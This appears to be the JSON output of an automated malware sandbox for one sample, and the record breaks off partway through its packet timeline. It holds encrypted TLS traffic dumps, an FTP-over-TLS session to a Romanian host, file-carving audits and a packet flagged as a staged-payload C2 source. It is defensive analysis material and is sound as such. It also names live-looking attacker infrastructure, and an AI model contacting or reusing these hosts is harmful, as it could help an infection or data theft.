[{"_id":{"$oid":"69ed082259a6632dae07de31"},"sha256":"e37c838dc5eaa1b302ffbd8721c6a5f52a068e8f78bbec63b19b950462fe6cf8","timestamp":{"$date":"2026-04-28T14:18:13.880Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_h8b85qx9.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #1\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #2\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #3\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #4\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #5\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1....LD..6U..RC...H-\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #6\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1....LD..6U..RC...H-\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #7\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #8\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1....LD..6U..RC...H-\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #9\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #10\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1....LD..6U..RC...H-\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #11\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1....LD..6U..RC...H-\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #12\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #13\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1....LD..6U..RC...H-\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #14\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1....LD..6U..RC...H-\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #15\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #16\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....i..q&....U.309.0...\n.Uqt..Qp...M.i.'.....\\4-....).E...v..._.^.,.a..1.v.2>...az...d....~.N,...[w..Rk....).PV..G0M.../...\n..8.R.;.6e...&.jD..o%......~@/.1....LD..6U..RC...H-\n#########################################\nT 91.213.188.9:21 -> 192.168.122.168:50578 [AP] #57\n220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------.\n220-You are user number 1 of 50 allowed..\n220-Local time is now 17:31. Server port: 21..\n220-This is a private system - No anonymous login.\n220-IPv6 connections are also welcome on this server..\n220 You will be disconnected after 15 minutes of inactivity..\"\n0.0,NGrep,#,\"Payload: T 192.168.122.168:50578 -> 91.213.188.9:21 [AP] #58\nAUTH TLS.\"\n0.0,NGrep,##,\"Payload: T 91.213.188.9:21 -> 192.168.122.168:50578 [AP] #60\n234 AUTH TLS OK..\"\n0.0,NGrep,#,\"Payload: T 192.168.122.168:50578 -> 91.213.188.9:21 [AP] #61\n...........i.v..a..b..3...K.NL...G:..........*.,.+.0./.....$.#.(.'.\n...........=.<.5./.\n...U.........ftp.henfruit.ro.\n...............................................#...........\n##\nT 91.213.188.9:21 -> 192.168.122.168:50578 [AP] #63\n....a...]..\\3...r..q...A...x>..M=..DOWNGRD. ..P....#..D.x.H;a....U=......eq..0...........................\n...\n..\n....0...0............?Y.d.j.x..d...t.0...*.H........031.0...U....US1.0...U.\n..Let's Encrypt1.0\n..U....R130...260331071445Z..260629071444Z0.1.0...U....mgh-web9.maghost.ro0..\"\"0...*.H.............0..\n.......U..{W\n..`..P....0.Ep..M.\\)GL..+..G......v...}z.{...2.Z.GL0.W..x.l..*.|uBK!.!.dS..PAe..rBf..P.....l....... q.S^.r_YZ.M&...K..o...|.7..x.NUh.1.D..Dd.B...'._.'+....g.Y...I...4H.Dh.P....n....Cq...j%.\nh..h..)1.Ob...q$..=^Y.........7..#X+..z@....Q....N.....]..........!0...0...U...........0...U.%..0\n..+.......0...U.......0.0...U........>*s9#R..f.m.@.t...0...U.#..0.......,3.S.^Ox....;..303..+........'0%0#..+.....0...http://r13.i.lencr.org/0...U....0...mgh-web9.maghost.ro0...U. ..0\n0...g.....0/..U...(0&0$.\"\". ..http://r13.c.lencr.org/106.crl0....\n+.....y............}.q~...8.m...I=1.Z.b.v-B.....g..a.....B.;.........y....F0D. GR|..5..%`....'.m.....3.}.6e&.... ..(..f..Fk..ge.f\"\"..Z....Y...S....v..n..h.~f5.?7.....<A.......1.#.......B.<......G0E. .....w..L(p..a.v.a@f..~.......=..!...O......L[.&..*......a4k.....LS0...*.H.............[.V..bxAd.5>{....|...d.Y.. g[........4|.r....3A...8Rk$.mA....n.6.4..x..(..%.<.lWH...P....T._..c(.....(...3._T.w..:;....S..i4Z.j.50..2.% ...y..fSA..m......_.. '..^#.4..].t).....C.G..!....!.......j.U.R...z..4E.v.|...@.....4.U.B.9.&......_.7.4...s..b.4.+..P.....0...0..........Z.........AW.)..0...*.H........0O1.0...U....US1)0'..U.\n. Internet Security Research Group1.0...U....ISRG Root X10...240313000000Z..270312235959Z031.0...U....US1.0...U.\n..Let's Encrypt1.0\n..U....R130..\"\"0...*.H.............0..\n......gp..V.d..a........&P7..c.T............`QCH}+.H...-...';W........0.o......2>XN5oEXhq..>.]../.Ql..].Y.5e.....7...].I.4..+....q,..........^|........\n]..{..vBp..M\"\"..wo.._...u..W...\\..s.h..t.u.~........8.\nD.....I5.\n4.....GN..\n6.GO..).u....\\.^.....C.J.....0.2..........0..0...U...........0...U.%..0...+.........+.......0...U.......0.......0...U..........,3.S.^Ox....;..30...U.#..0...y.Y.{....s.....X...n02..+........&0$0\"\"..+.....0...http://x1.i.lencr.org/0...U. ..0\n0...g.....0'..U... 0.0.......http://x1.c.lencr.org/0...*.H.............Q7XR.\"\".5.M........T....;...pr.e. }.Cr........./.^...#|...z.o.q.........\"\"......u.......\\W*..p.Mp..?.k.7hEL'd......~Z@..(..;..\\...n.m..8..........Y.n/.4.......+.z~............ar|..4..\"\"0..P\"\".d\n...........C\"\".....m...2.......%..,...o...4..I.e..........p.Z......[..5..,Ju.l^...h..D*U.........;...A+.....o.h...\\....[.~......Q^Z...h.....5.....Z.k..-}.LcS^X.i.S...$}s...d.|..d.l.o*.........D.i+.P.qu.%.^I.Z..8Fr..iq..TA.._.U....6.H=...#--+gbDCKH]...pm....Ex[7.[.U.E[.....V.+.-\n....P.....w--.g!..*...Y..%4...a.JG.Vn|!w........,...(... ....q.P.OlG(.}\\.w\"\"Bd..iX|D..T..J.........&..B)...Sa........K....ov.T.N.[...*..1<O.....\"\"S3..x.........N@..r&4..Ldw....d...S...>...2.zv....,...u.5.B{.... .f....[>.kg..{{.R.gQQ.r.C.+...a\"\"..o....;.=..sz...I..v..ul...D.<F.$&.>...8.&E...g.'N.t...<....j. .D.......i....:.o#..../.T......y....J?....\nu.........\n##\nT 192.168.122.168:50578 -> 91.213.188.9:21 [AP] #65\n....%...! ))..Gi.@....L..h&...d..ds..m.N............(..........3..;.@......Y..x..}..9li...x.}\n##\nT 91.213.188.9:21 -> 192.168.122.168:50578 [AP] #67\n..........(....6vB*NL.o..A;`..v5.....Ip.S...~. ..L.\n##\nT 192.168.122.168:50578 -> 91.213.188.9:21 [AP] #69\n....1.........d...Z.....:...'.....CHSf...N.(.En0....Zd\n##\nT 91.213.188.9:21 -> 192.168.122.168:50578 [AP] #71\n....K....6vB+Oi_..R....P3.i...=.S0_@.]l....v.......^....LR.d.M....>b.]P..(...m..\n#\nT 192.168.122.168:50578 -> 91.213.188.9:21 [AP] #72\n....,........F...9........(...d2...D.S.Qo..#....b\n##\nT 91.213.188.9:21 -> 192.168.122.168:50578 [AP] #74\n....E....6vB,).b.v....b2J{cc.uC<.^:......Tm;..7A...P.Hu....J..I.H....q~.#.\n####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmptku6wxz7/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmptku6wxz7/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmptku6wxz7/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmptku6wxz7/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmptku6wxz7/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmptku6wxz7/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmptku6wxz7/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmptku6wxz7/tshark/stats/tshark_io_graph.txt\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-04-28T14:18:11.705921,Tool:tmptku6wxz7/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmptku6wxz7/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-04-28T14:18:11.708848,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmptku6wxz7/carved/scalpel/audit.txt,610,2447c38f546393de810c35a944d62d07,0c201d6afef6814df7a93342790ea675704f09db8f87c490deb352a2e46aba01,5.06,\"Scalpel version 1.60 audit file, Started at Tue Apr 28 14:18:11 2026, Command line:, scalpel -c /tmp/tmptku6wxz7/carved/scalpel.conf /tmp/filtered_h8b85qx9.pcap -o /tmp/tmptku6wxz7/carved/scalpel , Output directory: /tmp/tmptku6wxz7/carved/scalpel, Configuration file: /tmp/tmptku6wxz7/carved/scalpel.conf, Opening target , /tmp/filtered_h8b85qx9.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000001.gif         5915, YES               0, filtered_h8b85qx9.pcap, 00000000.gif         5915, YES               0, filtered_h8b85qx9.pcap, Completed at Tue Apr 28 14:18:11 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 38 3a 31 31 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 74 6b 75 36 77 78 7a 37 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 68 38 62 38 35 71 78 39 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 74 6b 75 36 77 78 7a 37 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 74 6b 75 36 77 78 7a 37 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 74 6b 75 36 77 78 7a 37 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 68 38 62 38 35 71 78 39 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 30 31 2e 67 69 66 20 20 20 20 20 20 20 20 20 35 39 31 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 68 38 62 38 35 71 78 39 2e 70 63 61 70 0a 30 30 30 30 30 30 30 30 2e 67 69 66 20 20 20 20 20 20 20 20 20 35 39 31 35 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 68 38 62 38 35 71 78 39 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 38 3a 31 31 20 32 30 32 36 0a\n2026-04-28T14:18:11.702253,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmptku6wxz7/carved/foremost/audit.txt,700,be6e60f14fd6724070c2449c2d494918,6d0fc11526daa1da3ea2a274faef3eeaa82435596a1ea9ef7fab35f6c34f2588,4.93,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Tue Apr 28 14:18:11 2026, Invocation: foremost -t all -i /tmp/filtered_h8b85qx9.pcap -o /tmp/tmptku6wxz7/carved/foremost , Output directory: /tmp/tmptku6wxz7/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_h8b85qx9.pcap, Start: Tue Apr 28 14:18:11 2026, Length: 13 KB (13720 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Tue Apr 28 14:18:11 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Tue Apr 28 14:18:11 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 38 3a 31 31 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 68 38 62 38 35 71 78 39 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 74 6b 75 36 77 78 7a 37 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 74 6b 75 36 77 78 7a 37 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 68 38 62 38 35 71 78 39 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 38 3a 31 31 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 31 33 20 4b 42 20 28 31 33 37 32 30 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 38 3a 31 31 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 54 75 65 20 41 70 72 20 32 38 20 31 34 3a 31 38 3a 31 31 20 32 30 32 36 0a\n2026-04-28T14:18:11.708848,Tool:scalpel/gif-3-0,Unknown,0,Unknown,0,HTTP,00000000.gif,gif,/tmp/tmptku6wxz7/carved/scalpel/gif-3-0/00000000.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n2026-04-28T14:18:11.708848,Tool:scalpel/gif-4-0,Unknown,0,Unknown,0,HTTP,00000001.gif,gif,/tmp/tmptku6wxz7/carved/scalpel/gif-4-0/00000001.gif,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,78,10937,100.00%,100.00%\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n443,53,5630,33.97%,25.74%\n50578,25,5307,16.03%,24.26%\n21,25,5307,16.03%,24.26%\n49899,9,1278,5.77%,5.84%\n49892,9,2462,5.77%,11.26%\n49957,7,378,4.49%,1.73%\n49956,7,378,4.49%,1.73%\n49955,7,378,4.49%,1.73%\n49958,7,378,4.49%,1.73%\n49954,7,378,4.49%,1.73%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-04-26 14:26:16.978934,1,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fd40008006e959c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....Y..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 14:26:17.291470,2,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 